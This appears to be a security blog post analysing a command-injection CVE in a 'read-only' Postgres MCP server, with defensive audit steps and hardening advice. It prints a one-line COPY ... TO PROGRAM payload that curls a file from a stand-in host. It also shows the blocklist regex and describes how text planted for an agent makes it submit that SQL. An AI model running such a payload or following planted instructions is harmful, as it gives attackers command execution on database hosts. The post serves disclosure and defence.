Your MCP server says read-only. In the past six days that promise broke three separate times in Postgres-land, and the newest one ends in a shell.
On September 9, AWS published CVE-2026-87911: a CVSS 9.6 command injection in the read-only enforcement of its own postgres-mcp-server. A crafted COPY statement, planted in content that an authenticated user's agent processes, can execute operating system commands on the database host. The fix has been on PyPI since June. Almost nobody noticed until the advisory landed.
The whole attack is one line of standard Postgres:
COPY (SELECT 1) TO PROGRAM 'curl http://example.invalid/x -o /tmp/x';
I maintain a small MCP security scanner and I have been writing about MCP guardrail failures for weeks. While researching this CVE I read the advisory, the patched source, and the Postgres docs. One keyword walks past the entire blocklist. Below: a 4-check audit for your own SQL validator, and my case that the denylist was never the boundary.
How does a "read-only" MCP server enforce anything?
postgres-mcp-server is AWS Labs' bridge that turns natural language tool calls into SQL against a Postgres or Aurora instance. Unless you explicitly enable writes, it runs in read-only mode. So where does that promise live? Not in Postgres. In a Python file called mutable_sql_detector.py.
The current file is a stack of regex lists: mutating keywords (INSERT, UPDATE, DROP, SET, DO), dangerous functions (pg_sleep, pg_terminate_backend, the advisory-lock family, the dblink family), and heuristics for tautologies and stacked queries. The package's own documentation calls this enforcement best effort. The source comments are blunter:
This is defence-in-depth. The primary control is operator role permissions.
That sentence is the whole article, and AWS wrote it. Post-1.1.7, the file also carries a dedicated guard for the keyword that broke it:
COPY_PROGRAM_PATTERN = re.compile(
r'(?is)^\s*copy\b.*\b(?:to|from)\s+program\b'
)
Note the comment in the source: this one is blocked even when writes are enabled, because it is not a write. It is command execution.
Why does one COPY statement turn read-only into a shell?
COPY ... TO PROGRAM is standard Postgres: it pipes query output into a shell command running on the database host. The one-liner in the intro is the entire payload. It is the shape the advisory describes, and I have not run it against anything real. You should not either, outside a throwaway VM.
Postgres gates this properly: the role needs to be a superuser or a member of pg_execute_server_program. And here is the part that surprised me while reading: BEGIN READ ONLY does not stop it. A read-only transaction blocks writes to table data. The side effect of a PROGRAM clause lands outside the table data, so it runs to completion. Transaction mode does not cover functions whose effects escape the database.
The GitHub advisory narrows the conditions: the PG_WIRE_PROTOCOL connection method, plus a database role holding superuser or pg_execute_server_program. On RDS or Aurora you cannot get that privilege at all, which is why the advisory says self-managed Postgres. If your MCP server connects as a minimal role, the advisory says you are not affected, because the database denies the command no matter what the application lets through.
Now, the "unauthenticated actor" wording. The advisory says an unauthenticated actor places the crafted statement into content that is processed when an authenticated user interacts with the server. My reading, not the advisory's words: the attacker never logs in. They plant text where your model will read it, and your own agent submits the SQL. That is why the CVSS 3.1 vector reads PR:N/UI:R: no privileges required, user interaction required. It is the same shape I argued in MCP 2026-07-28 Went Stateless: a planted prompt is a credential. Same shape, new payload. Last time it moved data. This time it runs a shell.
Why did the same validator need two CVEs in six days?
Timeline, from the advisories and release history:
-
June 25: version 1.1.7 quietly ships on PyPI with a longer blocklist:
SET_CONFIG, ninedblinkfunctions, quoted-identifier folding, and the COPY PROGRAM pattern above. -
September 4: CVE-2026-85787 publishes. AWS's own CNA labels it "an incomplete list of disallowed inputs": the old list blocked
SETbut missedset_config(), the function form, because "set" is not on a word boundary inside "set_config". The same day, CVE-2026-85620 lands against a different vendor's Postgres MCP server, which parsed SQL into an AST but never visited RangeFunction nodes. That project has shipped no fix at all. - September 9: CVE-2026-87911 documents the command-injection side of the same pre-1.1.7 surface. This time AWS assigns CWE-78 alongside CWE-184.
See the pattern? Every fix is a longer list, and every bypass is a name the list did not cover. Two implementations, two vendors, one structure: enumerate yesterday's tricks, get beaten by tomorrow's spelling of them.
The disclosure gap cuts both ways. Anyone who installed without a version pin has been running patched code since June without knowing it. Anyone who pinned an older version sat exposed for ten weeks with no advisory to act on. Neither group had the information they needed.
Will your own read-only validator hold these 4 checks?
I have not executed these against a live deployment. They are what I built while researching; run them in a lab first.
1. Ask Postgres what your MCP role can do
SELECT rolname, rolsuper,
pg_has_role(rolname, 'pg_execute_server_program', 'member') AS exec_program
FROM pg_roles
WHERE rolname = current_user;
Illustrative output for the quickstart case:
rolname | rolsuper | exec_program
----------+----------+--------------
postgres | t | t
If exec_program is t, the advisory's condition holds for your deployment, and the fix is not in the app. It is in the role.
2. Fire the payload in a throwaway lab
Isolated VM only. Send the one-line COPY through your MCP server's read-only tool. A patched validator answers with the source's own message: "COPY ... TO/FROM PROGRAM rejected: this executes an arbitrary command on the database host." Anything else, and your layer is decorative.
3. Grep your fork for the patch
AWS's advisory explicitly asks forks and vendored copies to carry the fix. The changed file is mutable_sql_detector.py:
grep -n "COPY_PROGRAM_PATTERN" mutable_sql_detector.py
No output means your copy predates 1.1.7.
4. Shrink the role until the app layer stops mattering
Grant only CONNECT, USAGE, and SELECT on the schemas the agent needs. Make sure the role is not a member of pg_execute_server_program or pg_read_server_files. Drop the dblink extension where nothing uses it. Now the worst a bypassed validator can do is read rows you already decided the agent could read.
Is the real fix a longer list or a smaller role?
The advisory's own workaround section answers this: "the database itself enforces the boundary regardless of what SQL reaches it." A denylist enumerates known-bad spellings and loses to every unknown one. A role grant does not need to have anticipated dblink_connect_u or a PROGRAM clause in advance. It bounds whatever arrives.
Postgres MCP Pro shows the other failure mode, and I wrote about its sibling lesson in the agent sandbox piece: local mode is not a permission model. That project has had no release since May 2025 and a published bypass with no fix. If the guardrail lives in an application you cannot patch, the role is the only control you actually own.
Should read-only mode be a product promise at all?
I want to argue one thing. The docs call the blocklist best effort. The CVE is filed as a failure of "read-only enforcement." Both cannot be true at the same weight. If a mode is advertised as read-only, I think the server should refuse to start when the connection role can do things the mode promises to prevent. A role check at startup is five lines of code, and it converts a silent lie into a loud error.
I expect pushback, and I am genuinely unsure. It breaks the superuser quickstart that makes these tools easy to try. And filing CVEs against best-effort filters may chill the disclosure that makes them better. Maybe "read-only" should be reserved for database-enforced guarantees, and app-layer filtering should be called what it is: a lint pass. Where do you draw the line?
What should you check after three read-only failures?
- The keyword that broke read-only mode was
COPY ... TO PROGRAM, and the fix has existed since June 25. Check your version, and check your role. -
BEGIN READ ONLYdoes not stop host side effects. Transaction mode and privilege boundaries are different tools. - If you build MCP servers, treat the blocklist as UX, not security. Put the boundary in the role, then let the list improve the error messages.
What does your MCP database role look like? If the answer is "postgres, it was faster," the CVE number matters less than your role config.
Top comments (0)